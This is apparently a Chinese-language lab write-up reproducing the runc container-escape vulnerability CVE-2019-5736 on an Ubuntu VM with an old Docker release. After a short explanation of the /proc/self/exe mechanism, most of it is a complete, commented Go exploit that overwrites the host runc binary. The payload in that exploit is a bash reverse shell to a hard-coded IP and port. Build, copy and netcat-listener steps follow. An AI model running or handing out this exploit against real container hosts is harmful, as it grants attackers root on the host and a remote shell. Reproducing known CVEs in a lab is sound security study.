docker逃逸-cve-2019-5736
0. 简介
Docker、containerd或其他基于runc的容器运行时存在安全漏洞。攻击者可以通过特定的容器镜像或exec操作获取到宿主机runc执行时的文件句柄并以覆写方式篡改runc二进制文件,从而获取宿主机root权限。
runc运行过程
runc启动并加入到指定容器的命名空间,接着以自身(""/proc/self/exe")为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。
/proc/[PID]/exe
一种特殊的符号链接,又被称为magiclinks,指向进程自身对应的本地程序文件(例如我们执行ls,/proc/[PID]/exe就指向/bin/ls)。其特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非以传统打开方式去做路径解析和文件查找,绕过了mnt命名空间及chroot对进程可访问路径的限制。
1. 环境配置
ubuntu16科学上网
bash
sudo apt-get update
# 安装依赖工具
sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common
#添加 Docker 的 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
#添加docker的仓库源
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
#更新包索引
sudo apt-get update
#列出 Docker 版本
apt-cache madison docker-ce
#安装docker
sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
seveng0@ubuntu:~$ docker -v
seveng0@ubuntu:~$ docker-runc -v

使用代理加速docker pull
bash
sudo mkdir -p /etc/systemd/system/docker.service.d
sudo touch /etc/systemd/system/docker.service.d/proxy.conf
编辑proxy.conf文件,按i插入,esc回到命令模式,:wq保存退出。
代理替换成自己的
vim /etc/systemd/system/docker.service.d/proxy.conf
[Service]
Environment="HTTP_PROXY=socks5://192.168.75.180:10810"
Environment="HTTPS_PROXY=socks5://192.168.75.180:10810"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"
重启docker
bash
systemctl daemon-reload &systemctl restart docker
bash
docker pull nginx
docker run --name nginx-test -p 8080:80 -d nginx
docker ps -a

2. 复现
核心步骤:
- 覆盖容器内的
/bin/sh
,使其指向/proc/self/exe
(即当前进程的可执行文件)。 - 查找宿主机的
runc
进程,获取其文件句柄。 - 通过文件句柄覆盖宿主机的
runc
二进制文件,插入恶意代码。 - 当宿主机上的
runc
被执行时,恶意代码将被执行。
EXP
go
package main
// 导入必要的Go标准库包
import (
"fmt" // 格式化I/O
"io/ioutil" // I/O实用程序
"os" // 操作系统功能
"strconv" // 字符串和基本数据类型的转换
"strings" // 字符串操作
"flag" // 命令行标志解析
)
// 声明一个全局变量,用于存储从命令行传递来的shell命令
var shellCmd string
// init函数用于初始化命令行标志
func init() {
// 定义一个命令行标志`-shell`,用于指定要执行的任意命令
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
// 解析命令行标志
flag.Parse()
}
// main函数是程序的入口点
func main() {
// 定义一个bash反向shell的payload,连接到指定的IP和端口
// 注意:这里的IP地址需要修改为攻击者的IP
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.142.132/8095 0>&1" + shellCmd
// 第一步:覆盖/bin/sh为/proc/self/exe解释器路径
// 创建一个新的文件/bin/bash
fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
// 向/bin/bash写入#!/proc/self/exe,使其指向自身
fmt.Fprintln(fd, "#!/proc/self/exe")
// 关闭文件描述符
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// 第二步:找到runcinit进程的PID
var found int
for found == 0 {
// 读取/proc目录,列出所有进程
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
// 遍历每个进程目录
for _, f := range pids {
// 读取进程的cmdline文件
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
// 检查cmdline是否包含"runc",以找到runcinit进程
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
// 将找到的PID转换为整数
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// 第三步:获取runc进程的文件句柄
var handleFd = -1
for handleFd == -1 {
// 打开runc进程的exe文件,只读模式
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// 第四步:利用文件句柄覆盖runc二进制文件
for {
// 通过文件句柄打开runc进程exe的写入接口,截断文件
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
// 将payload写入runc进程
writeHandle.Write([]byte(payload))
return
}
}
}
cmd里编译go
bash
set CGO_ENABLED=0
set GOOS=linux
set GOARCH=amd64
go build -o main main.go
# 禁用 CGO,生成的可执行文件将不依赖外部的 C 库,而是完全静态链接
# 指定目标操作系统为 Linux
# 指定目标 CPU 架构为 amd64
拖进虚拟机里,docker复制到容器里
docker cp /home/seveng0/Desktop/pwn/main 83c5117caf82:/home
docker exec -it 83c5117caf82 /bin/bash
cd /home
./main

起个终端
nc -lvvp 8095
再起个终端
docker exec -it 83c5117caf82 /bin/bash
成功反弹shell
